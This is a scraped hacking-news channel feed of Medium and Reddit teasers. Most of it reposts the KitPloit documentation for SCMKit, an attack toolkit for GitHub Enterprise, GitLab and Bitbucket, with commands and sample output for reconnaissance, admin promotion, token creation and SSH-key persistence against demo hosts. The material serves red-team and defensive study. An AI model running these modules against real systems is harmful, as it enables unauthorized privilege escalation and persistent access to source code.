Hacking on Medium
Experts Warn of Browser Extensions Spying On Users via Cloud9 Chrome Botnet Network

https://cdn-images-1.medium.com/max/602/0*Z8cZpm6smpt8GSU7.jpg
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

How i get $100 in just 10 minutes !

Hello everyone ! this is my first medium write up, im very sorry if i have a bad grammar, because english is not my mother tongue. So a…Continue reading on Medium »
Read more...

How i get $100 in just 10 minutes !
https://medium.com/@jodyritonga/how-i-get-100-in-just-10-minutes-b018b28645ce?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello everyone ! this is my first medium write up, im very sorry if i have a bad grammar, because english is not my mother tongue. So a…Continue reading on Medium » (https://medium.com/@jodyritonga/how-i-get-100-in-just-10-minutes-b018b28645ce?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Are there wizards out there that can actually read a machine language (in hex)?

Just wondering if anyone can do it.

submitted by /u/Disastrous_Goat_8979
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Accessing Older BugCrowd Reports

Has anyone been able to scrape more than the most recent 7 days from BugCrowd's crowdstream of disclosed reports? If so, please share some insight or an open source tool used. Trying to do this legally because it's for soon-to-be published research.

HackerOne was easy and I have mountains of reports from them, but I need to have diversity in my research.

Google search and GitHub searches have not been useful so far. Thanks in advance.

Edit: My first post with the same content was auto deleted for including "How" or something in the title.

submitted by /u/honcohi
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Basics Will Block Most Ransomware Hits, Says UK Cyber Chief

https://cdn-images-1.medium.com/max/602/0*fvXVN4Cp1jzZ6Ek4.jpg
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Razor Black Active Directory Writeup

https://cdn-images-1.medium.com/max/1920/1*gb0lOeaxAujKFNf4NX_OuA.png
These guys call themselves hackers. Can you show them who’s the boss ??

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe | 0Day | Write-Up

https://cdn-images-1.medium.com/max/786/1*khznbmsZUUyR1QsVbpcNpA.png
Hey Folks,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

SCMKit - Source Code Management Attack Toolkit
http://www.kitploit.com/2022/11/scmkit-source-code-management-attack.html

___________________________
@hacking_Attack
@Hacking_Video

C:\source\SCMKit\SCMKit\bin\Release>SCMKit.exe -s bitbucket -m searchfile -c apikey -u http://bitbucket.hogwarts.local:7990 -o jenkinsfile

==================================================
Module: searchfile
System: bitbucket
Auth Type: API Key
Options: jenkinsfile
Target URL: http://bitbucket.hogwarts.local:7990

Timestamp: 1/14/2022 10:17:59 PM
==================================================


[>] REPO: http://bitbucket.hogwarts.local:7990/scm/~HPOTTER/hpotter
[>] FILE: Jenkinsfile

[>] REPO: http://bitbucket.hogwarts.local:7990/scm/STUD/cred-decryption
[>] FILE: subDir/Jenkinsfile

Total matching results: 2

List Snippets Use Case List snippets owned by the current user in GitLab Syntax Provide the listsnippet module, along with any relevant authentication information and URL. GitLab Enterprise SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local Example Output
C:\>SCMKit.exe -s gitlab -m listsnippet -c username:password -u https://gitlab.hogwarts.local

==================================================
Module: listsnippet
System: gitlab
Auth Type: Username/Password
Options:
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:17:36 PM
==================================================

Title | Raw URL
---------------------------------------------------------------------------------------------
spell-script | https://gitlab.hogwarts.local/-/snippets/2/raw
List Runners Use Case List all GitLab runners available to the current user in GitLab Syntax Provide the listrunner module, along with any relevant authentication information and URL. If the user is an administrator, you will be able to list all runners within the GitLab Enterprise instance, which includes shared and group runners. GitLab Enterprise SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local Example Output
C:\>SCMKit.exe -s gitlab -m listrunner -c username:password -u https://gitlab.hogwarts.local

==================================================
Module: listrunner
System: gitlab
Auth Type: Username/Password
Options:
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/25/2022 11:40:08 AM
==================================================

ID | Name | Repo Assigned
---------------------------------------------------------------------------------
2 | gitlab-runner | https://gitlab.hogwarts.local/hpotter/spellbook.git
3 | gitlab-runner | https://gitlab.hogwarts.local/hpotter/maraudersmap.git

List Gists Use Case List gists owned by the current user in GitHub Syntax Provide the listgist module, along with any relevant authentication information and URL. GitHub Enterprise SCMKit.exe -s github -m listgist -c userName:password -u https://github.something.local SCMKit.exe -s github -m listgist -c apikey -u https://github.something.local Example Output
C:\>SCMKit.exe -s github -m listgist -c username:password -u https://github-enterprise.hogwarts.local

==================================================
Module: listgist
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local

Timestamp: 1/14/2022 9:43:23 PM
==================================================

Description | Visibility | URL
----------------------------------------------------------------------------------------------------------

___________________________
@hacking_Attack
@Hacking_Video

List Orgs Use Case List all organizations the current user belongs to in GitHub Syntax Provide the listorg module, along with any relevant authentication information and URL. GitHub Enterprise SCMKit.exe -s github -m listorg -c userName:password -u https://github.something.local SCMKit.exe -s github -m listorg -c apiKey -u https://github.something.local Example Output
C:\>SCMKit.exe -s github -m listorg -c username:password -u https://github-enterprise.hogwarts.local

==================================================
Module: listorg
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local

Timestamp: 1/14/2022 9:44:48 PM
==================================================

Name | URL
-----------------------------------------------------------------------------------
Hogwarts | https://github-enterprise.hogwarts.local/api/v3/orgs/Hogwarts/repos

Get Privileges of API Token Use Case Get the assigned privileges to an access token being used in a particular SCM system Syntax Provide the privs module, along with an API key and URL. GitHub Enterprise SCMKit.exe -s github -m privs -c apiKey -u https://github.something.local GitLab Enterprise SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local Example Output
C:\>SCMKit.exe -s gitlab -m privs -c apikey -u https://gitlab.hogwarts.local

==================================================
Module: privs
System: gitlab
Auth Type: API Key
Options:
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:18:27 PM
==================================================

Token Name | Active? | Privilege | Description
---------------------------------------------------------------------------------------------------------------------------------
hgranger-api-token | True | api | Read-write for the complete API, including all groups and projects, the Container Registry, and the Package Registry.
hgranger-api-token | True | read_user | Read-only for endpoints under /users. Essentially, access to any of the GET requests in the Users API.
hgranger-api-token | True | read_api | Read-only for the complete API, including all groups and projects, the Container Registry, and the Package Registry.
hgranger-api-token | True | read_repository | Read-only (pull) for the repository through git clone.
hgranger-api-token | True | write_repository | Read-write (pull, push) for the repository through git clone. Required for accessing Git repositories over HTTP when 2FA is enabled.

Add Admin Use Case Promote a normal user to an administrative role in a particular SCM system Syntax Provide the addadmin module, along with any relevant authentication information and URL. Additionally, provide the target user you would like to add an administrative role to. GitHub Enterprise SCMKit.exe -s github -m addadmin -c userName:password -u https://github.something.local -o targetUserName SCMKit.exe -s github -m addadmin -c apikey -u https://github.something.local -o targetUserName GitLab Enterprise SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName Bitbucket Server Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. SCMKit.exe -s bitbucket -m addadmin -c userName:password -u https://bitbucket.something.local -o targetUserName Example Output

___________________________
@hacking_Attack
@Hacking_Video

C:\>SCMKit.exe -s gitlab -m removeadmin -c username:password -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module: removeadmin
System: gitlab
Auth Type: Username/Password
Options: hgranger
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:20:12 PM
==================================================


[+] SUCCESS: The hgranger user was successfully removed from the admin role.

Create Access Token Use Case Create an access token to be used in a particular SCM system Syntax Provide the createpat module, along with any relevant authentication information and URL. Additionally, provide the target user you would like to create an access token for. GitLab Enterprise This can only be performed as an administrator. You will provide the username that you would like to create a PAT for. SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName Bitbucket Server Creates PAT for the current user authenticating as. In Bitbucket you cannot create a PAT for another user, even as an admin. Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. Take note of the PAT ID that is shown after being created. You will need this when you need to remove the PAT in the future. SCMKit.exe -s bitbucket -m createpat -c userName:password -u https://bitbucket.something.local Example Output
C:\>SCMKit.exe -s gitlab -m createpat -c username:password -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module: createpat
System: gitlab
Auth Type: Username/Password
Options: hgranger
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/20/2022 1:51:23 PM
==================================================

ID | Name | Token
-----------------------------------------------------
59 | SCMKIT-AaCND | R3ySx_8HUn6UQ_6onETx

[+] SUCCESS: The hgranger user personal access token was successfully added.


List Access Tokens Use Case List access tokens for a user on a particular SCM system Syntax Provide the listpat module, along with any relevant authentication information and URL. GitLab Enterprise Only requires admin if you want to list another user's PAT's. A regular user can list their own PAT's. SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser Bitbucket Server List access tokens for current user. Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local List access tokens for another user (requires admin). Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local -o targetUser Example Output
C:\>SCMKit.exe -s gitlab -m listpat -c username:password -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module: listpat
System: gitlab
Auth Type: Username/Password
Options: hgranger
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/20/2022 1:54:41 PM
==================================================

ID | Name | Active? | Scopes
----------------------------------------------------------------------------------------------
59 | SCMKIT-AaCND | True | api, read_repository, write_repository

___________________________
@hacking_Attack
@Hacking_Video

Remove Access Token Use Case Remove an access token for a user in a particular SCM system Syntax Provide the removepat module, along with any relevant authentication information and URL. Additionally, provide the target user PAT ID you would like to remove an access token for. GitLab Enterprise Only requires admin if you want to remove another user's PAT. A regular user can remove their own PAT. You have to provide the PAT ID to remove. This ID was shown whenever you created the PAT and also when you listed the PAT. SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.something.local -o patID Bitbucket Server Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. You have to provide the PAT ID to remove. This ID was shown whenever you created the PAT. SCMKit.exe -s bitbucket -m removepat -c userName:password -u https://bitbucket.something.local -o patID Example Output
C:\>SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.hogwarts.local -o 58

==================================================
Module: removepat
System: gitlab
Auth Type: API Key
Options: 59
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/20/2022 1:56:47 PM
==================================================



[*] INFO: Revoking personal access token of ID: 59


[+] SUCCESS: The personal access token of ID 59 was successfully revoked.

Create SSH Key Use Case Create an SSH key to be used in a particular SCM system Syntax Provide the createsshkey module, along with any relevant authentication information and URL. GitHub Enterprise Creates SSH key for the current user authenticating as. SCMKit.exe -s github -m createsshkey -c userName:password -u https://github.something.local -o "ssh public key" SCMKit.exe -s github -m createsshkey -c apiToken -u https://github.something.local -o "ssh public key" GitLab Enterprise Creates SSH key for the current user authenticating as. Take note of the SSH key ID that is shown after being created. You will need this when you need to remove the SSH key in the future. SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key" SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key" Bitbucket Server Creates SSH key for the current user authenticating as. Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. Take note of the SSH key ID that is shown after being created. You will need this when you need to remove the SSH key in the future. SCMKit.exe -s bitbucket -m createsshkey -c userName:password -u https://bitbucket.something.local -o "ssh public key" Example Output List SSH Keys Use Case List SSH keys for a user on a particular SCM system Syntax Provide the listsshkey module, along with any relevant authentication information and URL. GitHub Enterprise List SSH keys for current user. This will include SSH key ID's, which is needed when you would want to remove an SSH key. SCMKit.exe -s github -m listsshkey -c userName:password -u https://github.something.local SCMKit.exe -s github -m listsshkey -c apiToken -u https://github.something.local GitLab Enterprise List SSH keys for current user. SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://gitlab.something.local Bitbucket Server List SSH keys for current user. Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. SCMKit.exe -s bitbucket -m listsshkey -c userName:password -u https://bitbucket.something.local Example Output
C:\>SCMKit.exe -s gitlab -m listsshkey -u http://gitlab.hogwarts.local -c apiToken

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
SCMKit - Source Code Management Attack Toolkit

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSFHzfp_0fwm8HENFxmHuIDfxDmOe-1lAo3YiqDCfxVfzb6JovdYIpJyMKGu03c1J-Yc7ADqT-v2LOMoalLkj7T-IWLlTLzh4puPwy8mlYpWn0SHrlbxzrcKaKu4yc6qIMb7nR6GTksEeO5FUPDQtdQyEMBWp1G7A__EpPOdun1x-dAs20Z162tVTgcg/w640-h418/h37.png Source Code Management Attack Toolkit - SCMKit is a toolkit that can be used to attack SCM systems. SCMKit allows the user to specify the SCM system and attack module to use, along with specifying valid credentials (username/password or API key) to the respective SCM system. Currently, the SCM systems that SCMKit supports are GitHub Enterprise, GitLab Enterprise and Bitbucket Server. The attack modules supported include reconnaissance, privilege escalation and persistence. SCMKit was built in a modular approach, so that new modules and SCM systems can be added in the future by the information security community. Installation/BuildingLibraries UsedThe below 3rd party libraries are used in this project.
Library URL License Octokit https://github.com/octokit/octokit.net MIT License Fody https://github.com/Fody/Fody MIT License GitLabApiClient https://github.com/nmklotas/GitLabApiClient MIT License Newtonsoft.Json https://github.com/JamesNK/Newtonsoft.Json MIT License Pre-Compiled* Use the pre-compiled binary in Releases Building YourselfTake the below steps to setup Visual Studio in order to compile the project yourself. This requires a .NET library that can be installed from the NuGet package manager.

* Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
* Go to "NuGet Package Manager" --> "Package Sources"
* Add a package source with the URL https://api.nuget.org/v3/index.json* Install the below NuGet packages
* Install-Package Costura.Fody -Version 3.3.3* Install-Package Octokit* Install-Package GitLabApiClient* Install-Package Newtonsoft.Json* You can now build the project yourself! UsageArguments/Options* -c, -credential - credential for authentication (username:password or apiKey)
* -s, -system - system to attack (github,gitlab,bitbucket)
* -u, -url - URL for GitHub Enterprise, GitLab Enterprise or Bitbucket Server
* -m, -module - module to run
* -o, -option - options (when applicable) Systems (-s, -system)* github:GitHub Enterprise
* gitlab:GitLab Enterprise
* bitbucket:Bitbucket Server Modules (-m, -module)* listrepo:list all repos the current user can see
* searchrepo:search for a given repo
* searchcode:search for code containing keyword search term
* searchfile:search for filename containing keyword search term
* listsnippet:list all snippets of current user
* listrunner:list all GitLab runners available to current user
* listgist:list all gists of current user
* listorg:list all orgs current user belongs to
* privs:get privs of current API token
* addadmin:promote given user to admin role
* removeadmin:demote given user from admin role
* createpat:create personal access token for target user
* listpat:list personal access tokens for a target user
* removepat:remove personal access token for a target user
* createsshkey:create SSH key for current user
* listsshkey:list SSH keys for current user
* removesshkey:remove SSH key for current user
* adminstats:get admin stats (users, repos, orgs, gists)
* protection:get branch protection settings Module Details TableThe below table shows where each module is supported
Attack Scenario Module Requires Admin? GitHub Enterprise GitLab Enterprise Bitbucket Server Reconnaissance listrepo[...]

___________________________
@hacking_Attack
@Hacking_Video